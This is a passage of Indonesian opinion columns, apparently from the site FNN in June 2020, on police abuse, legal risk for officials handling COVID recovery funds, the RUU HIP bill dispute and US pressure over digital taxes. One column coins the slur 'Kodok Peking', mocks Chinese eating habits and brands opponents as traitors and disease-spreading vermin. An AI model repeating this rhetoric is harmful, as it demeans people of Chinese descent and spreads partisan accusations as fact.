melakukan excessive force dengan seenaknya kepada segenap anggota masyarakat. Namun tanpa ada konsekuensi dan hukuman setimpal. Harus ada sanksi hukum setimpal yang diberikan kepada para polisi pelanggar hukum. Kita Indonesia hendaknya tidak harus menunggu demo besar-besaran terjadi, barulah memperbaiki kondisi yang ada. Khususnya yang terkait dengan sistim penegakan hukum dan keadilan kepada segenap pihak yang bertugas sebagai penegak hokum. Seperti yang dinyatakan oleh Gubernur New York –Andrew Cuomo bahwa “polisi harus menegakkan, bukan menyalahgunakan hukum” (Police officers must enforce –not abuse- the law). Sebagai sebuah negara mayoritas muslim, banyak contoh-contoh imparsialitas hukum dan teladan penegakan keadilan yang luar biasa. Yang ditunjukkan dalam sejarah Islam sebagai sumber inspirasi bagi kita semua. Mulai dari pernyataan Nabi Muhammad SAW yang menyatakan bahwa “jika Fatimah anakku mencuri, maka beliau sendirilah yang akan memotong tangannya”. Ini menunjukkan bahwa penegakan keadilan tidak akan melihat siapa yang melakukan pelanggaran keadilan tersebut. Juga contoh bagaimana seorang Khalifah Ali Bin Abu Thalib bisa dikalahkan dalam persidangan oleh seorang rakyat Yahudi biasa. Ada lagi kasus pada masa Khalifah Umar Bin Khatab. Dimana beliau mengecam keras sikap Gubernur Mesir Amr Bin Al-Ash yang ingin menggusur rumah seorang wanita tua Yahudi karena tidak mau tanahnya dibebaskan untuk pembangunan Masjid Hukuman akan diberikan oleh Khalifah Umar Bin Khatab kepada Gubernur Mesir Amr Bin Al-Ash, karena sang Gubernur tersebut telah bersikap sewenang-wenang dengan jabatannya. Gubernur Mesir juga telah bersikap zolim kepada seorang anak Kristen Koptik yang mengalahkannya dalam pacuan kuda. Sikap yang sangat ditolak oleh Khalifah Umar Bin Khatab. Akhirnya, kebesaran suatu bangsa akan ditentukan oleh sejauh mana keadilan dapat tegak di negara tersebut. Dan ini adalah sebuah proses yang harus terus berlangsung (keep improving) seperti yang kita lihat sekarang ini di Amerika sekarang. Menarik untuk menyimak kata-kata seorang Nelson Mandela yang menyatakan bahwa a nation should not be judged by how it treats its highest citizens, but its lowest ones. Penulis adalah Chairman, Center for Islamic Studies in Finance, Economics, and Development (CISFED) & Praktisi Bisnis Property Management di Los Angeles, Amerika Serikat.

Penjara Sudah Menanti Pejabat Kebijakan Pemulihan Ekonomi

by Dr. Margarito Kamis SH. M.Hum. Jakarta FNN – Kamis (18/05). Dalam rapat terbatas beberap hari lalu, Presiden Jokowi mengeluarkan pernyataan mengejutkan. Pernyataannya terhubung dengan pengelolaan dana penanganan covid dan pemulihan ekonomi nasional. Dana sebesar Rp. 677, 2 trilyun harus digunakan secara benar. Dalam rangka itu, Presiden tegas mempersilahkan penegak hukum melakukan tugas. Kepada para aparatur hukumnya, Presiden ingatkan agar profesional dalam menegakan hukum. Gigitannya, kurang lebih begitu esensinya. Harus tepat. Gigitlah yang benar-benar menyimpang, dan sebaliknya jangan gigit yang tidak benar-benar menyimpang. Pak Presiden, dapat diduga telah memiliki data terpercaya tentang postur governance pengelolaan dana ini. Mengajak Badan Pengawas Keuangan dan Pembangunan (PBKP) mengawasi pengelolaan dana ini. Jelas maknanya. Rupanya governance pengelolaan dana tidak terlalu meyakinkan Presiden. Itu sebabnya BPKP harus semakin dilibatkan, tentu untuk meningkatkan level governancenya. Jalan ke Pernjara Terbuka Pijakan hukum pengelolaan dana pemulihan ekonomi didasarkan sepenuhnya pada Perpu Nomor 1 Tahun 2020, yang telah dinaikan statusnya melalui UU Nomor 2 Tahun 2020. Perpu ini telah dilengkapi dengan Peraturan Pemerintah Nomor 23 Tahun 2020 tentang Pelaksanaan Program Pemulihan Ekonomi akibat Covid. Satu-satunya hal yang hebat dalam Perpu ini adalah ketentuan dalam pasal 27, pasal 28 dan pasal yang memberikan kewenangan ekstra kepada Bank Indonesia (BI) dan Otoritas Jasa Keuangan (OJK) serta Lembaga Penjamin Simpanan (LPS). Selebihnya tidak. Tetapi dari yang hebat itu, pasal 27 adalah yang terhebat. Esensi pasal ini adalah pengelolaan dana ini tidak dapat dikualifikasi sebagai kerugian keuangan negara. Akibat logisnya siapapun yang mengelola, dalam makna mengurus distribusinya, tak perlu memusingkan diri dengan segala macam parameter ekonomi maupun hukum. Untuk apa memusingkan diri dengan semua itu? Tidakkah telah diatur secara tegas dalam pasal 27 Perpu bahwa tindakan-tindakan dalam kerangka pasal Perpu tidak bisa dituntut pidana, perdata maupun tata usaha negara? Pasal 27 itu, akan digunakan sebagai benteng oleh pejabat-pejabat yang diserahi wewenang mengurus dana pemulihan ini. Bilapun dalam kenyataannya benar-benar ada perbuatan melawan hukum, pasal 27 telah secara tegas menyatakan perbuatan-perbuatan itu tidak dapat dituntut secara pidana, perdata dan tata usaha negara. Pejabat siapapun itu akan menyodorkan pasal ini sebagai bentengnya. Beralasan pasal 27 ini sah digunakan oleh siapapun yang berwenang dalam mengelola dana ini, sebagai alasan pembenar. Esensi alasan pembenar tidak lain selain menghapus sifat melawan hukum perbuatan. Perbuatan menyimpangnya mungkin secara faktual ada, tetapi sifat melawan hukumnya, sekali lagi, hilang dengan sendirinya karena ada pasal 27 itu. Menariknya Perpu Nomor 1 tahun 2020 yang didalamnya berisi pasal 27 itu, dibuat oleh Presiden. Tidak mungkin Presiden tidak mengetahui pasal itu. Presiden harus diasumsikan tahu keberadaan pasal itu. Pada titik ini menarik pernyataan Presiden itu logis ditimbang secara komprehensif. Sedang apa Presiden dengan menteri-menterinya? Apakah Pak Presiden memiliki fakta yang meyakinkan yang menunjukan telah terejadi penyimpangan? Sehingga Presiden berubah arah, meningalkan pasal 27 itu? Kalaupun jawabannya positif, ya, tetap saja jadi soal. Mengapa? Pasal 27 itu sejauh ini sah digunakan sebagai dasar tindakan para pejabat itu. Suka atau tidak, pasal 27 itu sah berlaku dan sah dijadikan dasar tindakan hukum oleh para pejabatnya. Disebabkan pasal ini sah sejauh ini untuk dijadikan dasar tindakan hukum para pejabat, maka semua tindakan hukum pejabat pada saat ini tidak dapat dipersoalkan. Baik aspek formil maupun materilnya. Berapapun dana pemulihan yang diberikan ke Garuda, bagaimana jumlah itu diperoleh, dilakukan dengan skema apapun, penyertaan modal (PNM), talangan, bayar utang, tidak dapat dipersoalkan. Mau diberi R10 triliun, lebih dari itu atau kurang itu, atau berapapun, secara formi dan materil tidak bisa dipersoalkan. Untuk apa dipersoalkan, kalau akhirnya temuannya tidak dapat dikualifikasi merugikan keuangan negara? Penyimpangan prosedur, andai ada, juga tak bisa ditunjuk sebagai perbuatan yang melawan hukum. Bagaimana pejabat-pejabat itu merespons kewajiban mereka kepada PLN misalnya, juga terserah mereka saja. Menurut keterangan Direktur PLN di Komisi VII DPR, utang pemerintah di PLN sebesar Rp 48 triliun. Ini merupakan akumulasi utang pemerintah tahun 2018 dan 2019 (Merdeka.com 17/6/2020). Utang ini harus diurusi. Menariknmya, utang yan terjadi jauh sebelum covid ini, boleh jadi akan diselesaikan menurut skema perpu. Bila mengukiti skema ini, skemanya yang harus diambil bukan talangan, bukan juga PNM. Skema yang yan harus diambil adalah kompensasi atau baray utang. Tetapi andai pejabatnya memilih skema lain, harus dianggap sah. Berapa sebenarnya dana pemulihan ekonomi yang akan dan atau telah diplot untuk BUMN? Bergunakah jumlahnya dipersoalkan secara hukum? Mau Rp. 147 triliun, kurang dari itu atau malah lebih dari itu, secara formil dan materil tidak bisa dipersoalkan. Ini konsekuensi pasal 27 Perpu, suka atau tidak. Mudah Temukan Pelanggaran Tetapi apapun itu, pejabat-pejabat yang diserahi wewenang mengurus soal ini harus tetap waspada. Pernyataan Presiden tersebut cukup beralasan untuk dipakai sebagai petunjuk adanya kehendak melepaskan pasal 27 itu. Presiden bisa jadi, membiarkan Mahkamah Konstitusi yang sedang memeriksa pengujian pasal ini untuk menyatakan pasal itu inkonstitusional. Waspada, sekali lagi waspada. Ini harus jadi sikap dasar pejabat. Sikap ini harus diwujudkan dalam dua bentuk. Pertama, pertimbangan-pertimbangan dibalik sebuah kebijakan harus benar-benar dapat dicek. Fakta dan rasionya harus kokoh. Kedua, bereskan semua tindakan yang perlu diambil dalam kerangka Perpu dan PP Nomor 23, sebelum pasal 27 Perpu dinyatakan inkonstitusional. Tetapi andai pasal 27 diterima oleh Mahkamah Konstitusi, dinyatakan konstitusional, terlepas dari putusan ini akan ditertawakan dan diejek, tetap saja harus waspada. Mengapa? Kalau kebijakan itu nyata-nyata tidak didasakan pada fakta yang cukup. Juga tidak cukup rasio teknisnya, maka kenyataan itu dapat dijadikan alasan penegak hukum menyatakan bahwa perbuatan itu sedari awal telah dimaksudkan lain dari yang diperintahkan oleh Perpu. Kenyataan itu dapat dipakai sebagai dasar konstruksi bahwa sikap batin pembuat kebijakan, sedari awal dimaksudkan lain dari seharusnya menurut Perpu. Itu masalahnya. Kalau sudah begini cara berpikir penegak hukum, maka mudah bagi mereka menemukan sifat melawan hukum perbuatan. Bila penyimpangan itu didukung tumpukan fakta, maka mudah bagi penegak hukum untuk membuat konstruksi berikut. Konstruksinya tidak ada hukum, yang sedari mula dimaksudkan untuk membenarkan tindakan melawan hukum. Atas dasar itu, mereka dapat dengan mudah menyatakan pasal 27 tidak dapat dipakai sebagai alasan pembenar atau alasan yang membenarkan semua tindakan menyimpang. Tumpukan fakta tentang penyimpangan, sekali lagi, akan diambil dan digunakan penegak hokum untuk menyatakan, pembuat kebijakan telah dimaksudkan untuk hal lain, selain yang diperintahkan Perpu. Hal lain itulah, yang akan dipakai penegak hukum untuk menyatakan sikap batin pembuat kebijakan hendak diarahkan pada hal lain itu. Bila begitu cara pandang penegak hukum, maka mudah bagi mereka mengualifisir perbuatan itu sebagai perbuatan melawan hukum. Logiskah cara berpikir itu? Logis karena satu alasan, terdapat kesesuaian antara perbuatan dengan sikap bathin pembuat kebijakan. Satu-satunya cara menutup jalan penegak hukum menggunakan jalan fikiran ini adalah pembuat kebijakan harus, sekali lagi, memastikan memiliki tumpukan fakta terferifikasi dan obyektif. Tumpukan fakta terferifikasi itu harus benar-benar harus dapat disajikan, kapanpun diperlukan. Rasio fakta itu harus benar dapat diterima. Hanya itu cara yang tersedia. Tidak lebih. Keikutsertaan penegakan hukum, misalnya mendampingi, menyaksikan penyaluran PNM, talangan atau bayar utang, sama sekali tidak dapat dijadikan benteng buat pembuat kebijakan. Kehadiran mereka pada level itu, sama sekali tidak dapat dijadikan keadaan yang determinatif. Kehadiran merka tidak berbicara apa-apa, selain hanya menjelaskan mereka menyaksikan tindakan akhir pejabat. Bagaimana proses tindakan itu, bagaimana angka-angka yang diperoleh, bagaimana memutuskan angka, jelas tidak diketahui oleh penegak hukum. Fakta bernilai tinggi adalah keadaan nyata yang digunakan sebagai dasar menentukan besaran. sebut saja dana talangan, PNM atau pembayaran kompensasi atau bayar utang. Juga fakta bernilai tinggi adalah kesesuaian fakta antara nilai buku dengan nilai yang direalisaikan. Selisih nilai akuntansi dengan nilai nyata, tentu akan jadi malapetaka. Penipuan Korporasi Licik Selisih nilai itu, mungkin dapat dibenarkan. Bila rangkaian fakta kongkrit menyediakan unsur-unsur yang dapat menerangkan secara logis selisih itu. Itu untuk kebijakan terkait langsung BUMN dan korporasi sawsta. Terhadap korporasi swasta, soalnya lebih sedikit lebioh kompleks. Justru kebijakan pemberian bantuan, atau talangan, ataupun namanya kepada korporasi swasta, harus lebih tinggi level kehati-kehatiannya. Semoga saja pengetahuan mengenai korporasi yang pada tahun buku terakhir membukukan laba, dan atau sebaliknya rugi, benar-benar tersaji dengan jelas. Level laba dan ruginya, plus aset yang nyatanya eksis berada dalam penguasaan nyata korporasi. Juga likuid serta asset yang nyata-nyata truble, harus jelas betul penilaian dan dapat disajikan setiap waktu. Keliru pada level ini sama dengan membuka jalan untuk penegak hukum mempersoalkan level rasionalitas kebijakan itu. Kekeliruan pada level itu, sama nilainya dengan menyodorkan senjata terkokang kepada penegak hukum. Fakta itu akan memudahkan mereka, seperti telah dikemukakan di muka, menyatakan pejabat telah sedari awal bermaksud menyimpang dari hukum. Konsekuensinya sikap bathin pejabat untuk perbuatan itu benar-benar dapat dipersalahkan. Suka atau tidak semua ini harus masuk dalam daftar kehati-hatian pejabat. Pernyataan presiden mengenai penegak hukum gigit sebisa mungkin “mereka yang nyata-nyata menyimpang dan yang tidak mengikuti aturan, tidak bisa disepelekan. Terlalu mudah bagi penegak hukum untuk menemukan dan merealisasikan pernyataan Presiden itu. Itu soal terbesarnya. Pada titik ini tidak ada faedah memperdebatkan pernyataan itu akan mengakibatkan pejabat tidak nyama bekerja. Tidak perlu. Jalan terbaik menyambut pernyataan Presiden itu adalah memastikan setiap kebijakan didukung dengan tumpukan yang kredibel, baik menyangkut kuantitas dan kualitasnya. Hanya itu cara menghindar dari kemungkinan diperiksa penegak hukum, lalu ditetapkan menjadi tersangka. Nauzubillaahi minzalik. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Tarung di RUU HIP, "PDIP Vesrsus Umat Islam"

by Tony Rosyid Jakarta FNN – Kamis (18/06). Inisiator Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) adalah PDIP. Rakyat tahu itu PDIP sukses mempengaruhi sejumlah fraksi di DPR. Sukses, karena nyaris tanpa penolakan. Kecuali Fraksi PKS, yang dari awal konsisten ingin memperjuangkan masuknya TAP MPRS No 25 Tahun 1966. Tak digubris. Fraksi yang lain diam. Hanya PKS dan Partai Demokrat yang tidak tanda tangan. Ketika maklumat MUI keluar, dan protes Umat Islam terjadi dimana-mana, sejumlah anggota fraksi membuat pernyataan. Mereka jadi ikut-ikutan teriak menolak RUU HIP. Langkah cari aman. Ah, kayak nggak tahu aja kelakuan parpol. Klasik dan jadul tuh! Saat ini, RUU HIP sudah diserahkan oleh DPR ke pemerintah. Bola sekarang ada di pemerintah. Semua mata tertuju kepada pemerintah. Konsentrasi rakyat fokus ke pemerintah. Lalu, bagaimana sikap pemerintah? Mendengarkan rakyat? Atau pasang badan mendukung PDIP? "Tunda", kata pemerintah. Pemerintah nampaknya ingin melihat-lihat dulu apa reaksi lanjutan dari masyarakat. Pertama, bagaimana reaksi PDIP. Kedua, bagaimana reaksi umat Islam. Mana yang paling kuat, biasanya itu yang akan jadi pilihan Jokowi. Polanya sering terbaca begitu. Jika pressure umat Islam kuat, pemerintah tak ada pilihan lain kecuali "menolak" RUU HIP. Jika sebaliknya, protes umat Islam meredup dan PDIP kuat tekanannya, maka pemerintah akan minta agar RUU HIP dilanjutkan pembahasannya di DPR. Sebagaimana diketahui, sikap MUI, NU, Muhammadiyah, Ansor, Pemuda Pancasila, FPI, dan sejumlah elemen masyarakat tegas dan jelas, “ Stop RUU HIP”. Hentikan pembahasannya. Jangan dilanjutkan. Batalkan itu RUU! Bukan revisi. Bukan juga ditunda. Sepertinya PDIP sebagai inisiator RUU HIP keberatan. Tak ada tanda-tanda mau menyerah. Lanjut! Coba bernegosiasi. Buat kompromi-kompromi. Tawarkan revisi. TAP MPRS No 25 Tahun 1966 dimasukkan. Tapi, larangan radikalisme dan Khilafah juga harus dimasukkan. Win win solution dengan umat Islam. Sampai disini, PDIP masih cukup percaya diri. Umat Islam melalui MUI, NU, Muhammadiyah dan sejumlah ormas yang lain nggak menanggapi nego PDIP. Dianggap angina lalu saja. Belakangan, PBNU muncul. Suaranya sangat lantang, “hentikan”. Pandangan dan sikap PBNU tegas dan lugas. Dasar pemikirannya lengkap, terukur dan berkelas. Perseteruan antara MUI, NU, Muhammadiyah plus Ormas-Ormas Islam lainnya dengan PDIP sebagai inisiator RUU HIP nampaknya akan memakan waktu yang panjang. Maraton. Sudah hampir sepekan ini, dua kelompok di atas berdebat kusur di media. Adu argumen, adu cerdik dan juga adu strategi kedua belah pihak kemungkinan akan semakin ramai ke depan. Tidak saja di media, tetapi juga dalam bentuk aksi demonstrasi. Di sejumlah daerah sudah terjadi. Demo ada dimana-mana. Nampaknya makin panas. Perdebatan tidak saja soal materiil dan formilnya, tetapi juga menyoal apa motif RUU HIP ini dilahirkan. Soal yang terakhir ini justru paling yang menarik. Sekaligus semakin seru dan memans-manaskan situasi politik nasional selama pandemic Covid 19 ke dapan. Di sini, kepemimpinan Jokowi akan diuji. Rakyat menunggu keputusan jelas dan tegas dari Jokowi. Tidak mudah memang. PDIP, tak saja sebagai partai pemenang. Tetapi, PDIP juga partai yang paling berjasa menjadikan Jokowi sebagai presiden. Sementara di sebelah PDIP, ada barisan MUI, NU, Muhammadiyah dan berbagai ormas Islam memiliki kekuatan massa yang tak kecil. Terbesar di Indonesia. Jika isunya semakin matang, maka akan sangat merepotkan Jokowi. Legitimasi moral dan gelombang kekuatannya bisa lebih dahsyat dari 212. Asumsi ini tak terukur jika belum dibuktikan. Emang mau dibuktikan? Rakyat akan menunggu ke depan. Pertama, lebih kuat mana? Pressure PDIP vs pressure MUI yang didukung NU dan Muhammadiyah dan umat Islam itu. Kedua, kemana pilihan Jokowi akan berpihak. Kepada PDIP, atau kepada umatIslam? Rakyat sedang menunggu. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Doking Si Kodok Peking di RUU HIP

by M Rizal Fadillah Jakarta FNN – Kamis (18/06). Persoalan Rancangan Undang-Undang Haluan Ideologi Negara (RUU HIP) berismbas melebar. Dugaan adanya misi terselubung aktivis berfaham komunis atau neo-PKI berimbas pada ramainya di medsos soal Waketum Partai Gerindra Arief Poyuono yang menafikan komunis atau PKI saat ini. Bahkan menuduh yang mengungkit-ungkit soal PKI dan komunisme adalah Kadrun singkatan dari Kadal Gurun. Kadal Gurun atau Kadrun adalah predikat yang diberikan oleh aktivis PKI dahulu kepada para ulama, ustadz, aktivis Islam yang menjalankan agama Islam. Agama yang berasal dari daerah pegunungan atau gurun Saudi Arabia. Nabi Muhammad SAW adalah putera gurun. Lahir di Mekkah lalu hijrah dan berjuang serta wafat di Madinah. BAKOR KAN melaporkan Ade Armando atas sebutan Kadrun kepada masyarakat Minang. Menjelaskan bahwa Kadrun adalah predikat yang sering diungkap oleh PKI dahulu untuk melecehkan Nabi Muhammad SAW dan umat Islam. Tentu saja Ade membantah bahwa Kadrunnya tidak berkaitan dengan Kadrun PKI. Mana yang benar biarlah menjadi urusan hukum pembuktian nantinya. Hanya saja Franciscus Xaverius Arief Poyuono menyebutkan bahwa yang mengungkit persoalan PKI dan komunisme adalah Kadrun. Ini menjadi persoalan serius ketika penolakan dilakukan oleh umat Islam yang mendukung Maklumat Majelis Ulama Indonesia (MUI). Sikap tegas menolak RUU HIP yang ditengai ingin menghidupkan kembali faham komunisme dan PKI yang didukung MUI Provinsi dari seluruh Indonesia Dengan demikian, ada RUU HIP yang mengkhawatirkan kebangkitan PKI dan komunisme seluruhnya disebut Kadrun. Padahal apa yang dikemukakan oleh para ulama, ustadz, aktivis Islam, para Purnawiraaan TNI-Polri, ormas Islam dan banyak forum serta aspirasi yang menolak RUU berbau PKI dan komunisme ini sangat beralasan. Sangat obyektif, dan rasional. Bila memberi predikat seenaknya bagi mereka yang anti PKI dan komunis adalah Kadrun, maka itu dapat memancing konflik baru. Nanti bisa saja yang pro pada RUU HIP yang berbau PKI dan komunis itu disebut dengan Kodok Peking. Orang China menyukai kodok sebagai makanan pilihan paling disukai. Jadinya, pantas dan wajar saja bila yang pro dengan RUU HIP atau pro terhadap RRC atau yang menafikan keberadaan PKI dan komunisme disebut sebagai “Doking si Kodok Peking. Kodok Peking pro Peking adalah penghianat negara. Mereka yang memasukkan TKA China ke Indonesia menggeser tenaga kerja pribumi. Mereka yang menjalin hubungan sangat erat dengan Pemerintah Komunis RRC. Kodok Peking ini sangat "welcome" dan siap bekerja sama dengan Partai Komunis China. Kodok Peking adalah pemuja investasi dan hutang luar negeri dari China. Seakan-akan rela untuk dijajah oleh China. Kodok Peking adalah kodok yang kaki bagian bawahnya ada di Indonesia. Sedangkan kaki atas mengais-ngais di Peking. Hampir sulit terjadinya kebangkitan atau berkembangnya faham komunisme di dunia saat ini tanpa peran Peking (Beijing). Dahulu Sovyet yang dominan. Pejabat negara kita ada yang terang terangan menyebut Indonesia tak mungkin lepas dari China. Ini yang membuat rakyat semakin khawatir pada pengaruh RRC di segala bidang khususnya ekonomi dan politik. Poyuono dan banyak tokoh atau pemimpin negara tegas menafikan keberadaan PKI dan komunisme. Padahal fakta itu ada dan nyata. Tentu tak mungkin terang-terangan seseorang atau kelompok menyebut dirinya PKI. Apalagi menjadi kader penyebarnya. Hukum melarangnya dan sanksi hukum menghadangnya. Makanya mereka bergerak "tanpa bentuk". Makanya mereka melompat sana melompat sini. Malompat dari satu partai ke partai yang lain. Persis seperti kodok. Kodok Peking (Doking) adalah hewan yang dapat berubah bentuk menjadi hewan penyebar penyakit berbahaya. Kodok Peking biasanya berkolaborasi dengan virus virus jahat dan sesat lainnya. Menggerogoti ideologi suatu negara. mencengkeram secara ekonomi, dan mengendalikan secara politik. Bermain di pemerintahan dan ruang parlemen. Begitulah pola dan kebiasaan Kodok Peking beroperasi. RUU HIP disamping memunculkan penolakan, juga ada suara ribut Doking si Kodok Peking penjilat yang gemar lompat sana lompat sini. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pajak Digital Jokowi Dibuldozer Donald Trump

by Haris Rusly Moti Jakarta FNN – Kamis (18/06). Pemerintahan Joko Widodo sedang panik menghadapi krisis APBN. Kepanikannya mengakibatkan lahirnya sejumlah kebijakan yang terkesan kalap. Tanpa pertimbangan dan persiapan yang matang. Sebagai contoh, kebijakan pajak digital yang diatur di dalam UU Darurat Covid UU No. 2/2020. Kebijakan tersebut nampaknya tidak disertai instrumen penopang untuk mewujudkannya. Tragisnya lagi, ketika kebijakan itu diumumkan, langsung direspon Pemerintahan Donald Trump. Amereka berencana melakukan investigasi terkait rencana penerapan pajak digital di sejumlah negara yang dinilai diskriminatif, dan tidak adil terhadap perusahaan-perusahaan asal Amerika. Ada 10 negara yang jadi sorotan, Indonesia disebutkan juga oleh Presiden Trump. Selain Uni Eropa, disebutkan juga Austria, Brasil, Republik Ceko, Uni Eropa, India, Italia, Spanyol dan Turki. Penyelidikan sedang dilakukan berdasarkan bagian 301 dari UU Perdagagan 1974 yang memberikan presiden Amerika wewenang luas untuk mengenakan tarif jika praktek perdagangan sebuah negara bagi perusahaan Amerika (The Washingtong Post, 2 Juni 2020). Reaksi keras pemerintahan Amerika Serikat terkait kebijakan pajak digital di sejumlah negara tersebut sangat lumrah. Lantaran mayoritas perusahaan digital dengan nilai kapitalisasi pasar yang tinggi berkantor pusat di Silicon Valley Amerika Serikat (Bloomberg & PWC, 2019). Sementara negara-negara yang menerapkan pajak digital mengeluh. Bahwa perusahaan digital asal Amerika Serikat tersebut telah mengeksploitasi konsumen lokal untuk data berharga mereka tanpa membayar pajak sebagai imbalan. Robert E. Lighthizer, Kantor Perwakilan Dagang Amerika Serikat (USTR), mengatakan Presiden Trump memerintahkan melakukan investigasi. Dikuatirkan negara-negara yang disebutkan di atas mengadopsi skema kebijakan pajak yang diskriminatif terhadap bisnis digital asal Amerika, seperti Netflix, Facebook, dan Amazon. Lighthizer menegaskan “kami siap mengambil semua tindakan untuk membela bisnis dan kepentingan kami dari kebijakan pajak yang diskriminatif”. Sebelumnya AS telah melakukan investigasi mendalam terhadap penerapan Digital Service Tax (DST) di Prancis. Hal itu terangkum dalam laporan Kantor Perwakilan Dagang AS – USTR, yaitu “Report on France’s Digital Services Tax Prepared in the Investigation under Section 301 of the Trade Act of 1974” (ustr.gov,02/12/2019) Secara garis besar, AS mendakwa bahwa rencana penerapan DST di Perancis tersebut bersifat mendiskriminasi kepada perusahaan asal AS. Dengan kata lain, terdapat kecenderungan bahwa DST yang dikenakan Prancis ini sejatinya hanya akan menyasar para raksasa digital AS. Dakwaan terhadap DST Prancis yang diskriminatif ini pun diperkuat dengan beberapa argumen sebagaimana diulas Dea Yustisia (DDTC Fiscal Research). Pertama, adanya pernyataan otoritas Prancis yang secara terang-terangan menyatakan bahwa DST merupakan “GAFA Tax”. GAFA sendiri disebut-sebut merupakan singkatan dari Google, Apple, Facebook dan Amazon. Sebagaimana diketahui, keempatnya merupakan penyedia layanan digital papan atas di dunia yang bermarkas pusat di AS. Argumen pertama ini didukung pula dengan temuan AS bahwa DST di Perancis bukan dikenakan atas penghasilan netto (income) sebagaimana pengenaan PPh secara umum. Adapun basis pajak DST – secara umum dan bukan hanya yang diterapkan Prancis – ialah atas penghasilan bruto (revenue). Dengan demikian, DST ini dianggap mencederai prinsip-prinsip dasar perpajakan internasional yang berlaku secara umum. Apalagi, pengenaan DST tersebut dapat pula bersifat retroaktif. Tidak terdapat ketentuan yang menyatakan pencabutan DST apabila tercapai konsensus pajak digital. Kedua, pemilihan jenis layanan digital yang akan dikenakan DST atas penghasilan brutonya. Laporan yang terbit pada akhir 2019 ini mencatat bahwa terdapat dua kategori jasa yang ditarget oleh DST Prancis, yakni iklan melalui internet dan digital interface. Investigasi yang dikepalai Robert E. Lighthizer juga menemukan bahwa 8 dari 9 grup usaha perusahaan multinasional yang akan terdampak kebijakan unilateral tersebut ialah perusahaan-perusahaan yang berkantor pusat di Amerika Serikat. Sementara itu, perusahaan multinasional yang berkantor pusat di Prancis maupun Uni Eropa tidak akan terdampak karena kategori layanan digitalnya tidak termasuk dalam cakupan yang diatur DST. Ketiga, penetapan threshold (ambang batas) perusahaan yang akan dikenakan DST. Menurut laporan ini, perusahaan Amerika Serikat lagi-lagi merupakan sasaran dominan dari DST Prancis tersebut. Hal ini dikarenakan penetapan ambang batasnya yang berdasarkan penghasilan bruto, akan relevan untuk mengenakan pajak atas grup multinasional semacam GAFA. Selain itu, dakwaan adanya diskriminasi ini semakin kuat landasannya. Karena tidak adanya penjelasan mengenai dasar pertimbangan atas penetapan ambang batas tersebut. Jadinya suka-suka hati. Sikap tegas Prasiden Trump untuk melindungi perusahaan digital Amerika. Tanpa Konsensus Global Satu hal yang cukup rancu dari laporan investigasi Kantor Perwakilan Dagang AS di atas ialah pernyataan bahwa penerapan DST di Prancis akan mempersulit progres tercapainya konsensus global. Padahal, Amerika Serikat sendiri pun hingga saat ini terlihat mengambang dalam bersikap. Apakah akan mendukung atau tidak konsensus global terkait Digital Service Tax (DST). Sengketa terkait kebijakan pajak digital antara Amerika Serikat dengan Perancis, juga belanjt pada rencana Pemerintahan Trump menginvestigasi 10 negara, termasuk Indonesia, yang ditengarai akan memberlakukan pajak diskriminatif terhadap perusahaan asal Amerika. Kebijakan Tump ini akan membuldozer kebijakan setiap negara di dunia yang memberlakukan pajak digital. Sengketa seperti itu terjadi lantaran hingga saat ini tak ada aturan bersama atau minimal konsensus global yang mengatur kebijakan pajak digital. OECD (Organisation for Economic Cooperation and Development) yang bermarkas di Paris malah menunda membuat rekomendasi terkait DST yang rencananya akan diterbitkan pada tahun 2020. Alasan yang disampaikan Sekretaris Jenderal OECD, Jose Angel Guria, katanya lembaga ini masih sedang mengkaji untuk menemukan solusi jangka panjang. Solusi yang berbasis pada konsensus untuk menerapkan pajak ekonomi digital secara global. Demikian juga sebanyak 164 anggota WTO gagal untuk mengkonsolidasikan sekitar 25 proposal e-commerce yang terpisah pada sebuah konferensi di Buenos Aires pada Desember 2018. Juga termasuk rencana untuk membuat forum negosiasi e-commerce pusat. Diperparah lagi dengan adanya perang dagang AS versus China, yang bersaing untuk mendominasi ekonomi digital. Dapat dipastikan konsensus global terkait pajak digital global nampaknya masih jauh dari harapan. Ketegangan perang dagang itu telah menyebabkan Washington mengekang transfer informasi Amerika ke negara-negara asing dengan membatasi merger dan akuisisi asing melalui Undang-Undang Otorisasi Pertahanan Nasional tahun 2018. Sementara jika dilihat dari data, laporan WTO menyebutkan, total nilai transaksi digital pada 2016 sebesar U$ 27,7 triliun dollar. Sekitar U$ 24 triliun dollar diantaranya merupakan transaksi bisnis-ke-bisnis (B to B). Pasar global transaksi digital bahkan diperkirakan makin meningkat dan menembus angka U$ 1 triliun dollar pada tahun 2020. Pertumbuhan ekonomi digital yang terus meningkat tanpa aturan bersama soal pajak digital sangat merugikan negara-negara yang hanya menjadi pengguna, konsumen, seperti Indonesia. Juga aturan yang terpisah dan berbeda untuk masing-masing negara dan wilayah telah menjadi beban dan hambatan yang signifikan bagi setiap perusahaan digital untuk memperluas operasi bisnis mereka. Tantangan lain yang harus diatasi, lantaran secara teori, sangat tidak mudah mengubah sistem perpajakan, terutama mutasi kebijakan pajak dari ekonomi konvensional ke ekonomi digital. Studi Departemen Kebijakan Ekonomi dan Saintifik Parlemen Uni Eropa, tentang “Tax Challenges in the Digital Economy”, mengungkap bahwa perkembangan ekonomi digital telah menciptakan tantangan baru yang tidak mudah bagi sistem perpajakan di berbagai negara. Hal itu menurut mereka, karena sistem perpajakan yang berlaku saat ini pada dasarnya didesain untuk menarik pajak dari industri-industri konvensional. Padahal di era digital ini, persoalan dan tantangan bisnis yang dihadapi sama sekali sudah berbeda. Berdasarkan hasil studi itu, terdapat dua persoalan mendasar yang menjadi tantangan besar untuk mereformasi skema perpajakan konvensional. Untuk itu, perlu menyesuaikan diri dengan ekonomi digital. Pertama, barang-barang yang diperdagangkan bersifat intangible (tidak memiliki wujud fisik) dan lintas batas negara (borderless). Misalnya, jasa berlangganan film atau lagu serta perdagangan software atau aplikasi. Persoalan kedua, terkait keberadaan fisik perusahaan digital. Mengingat mereka tidak membangun kantor cabang atau memindahkan pabrik untuk dapat beroperasi di suatu negara. Persoalan-persoalan itu, mulai dari model bisnis hingga bentuk barang yang diperdagangkan, membuat skema perpajakan konvensional yang tidak lagi relevan untuk merespons perkembangan bisnis di era digital. Perkembangan “skema kuno” konvensional itu justru memberikan kemudahan bagi perusahaan digital untuk menghindari regulasi perpajakan. Selian itu, juga memudahkan mereka untuk dan memindahkan profit mereka ke negara-negara suaka pajak (tax havens). Pengalaman Uni Eropa Akibat dari tidak tercapainya 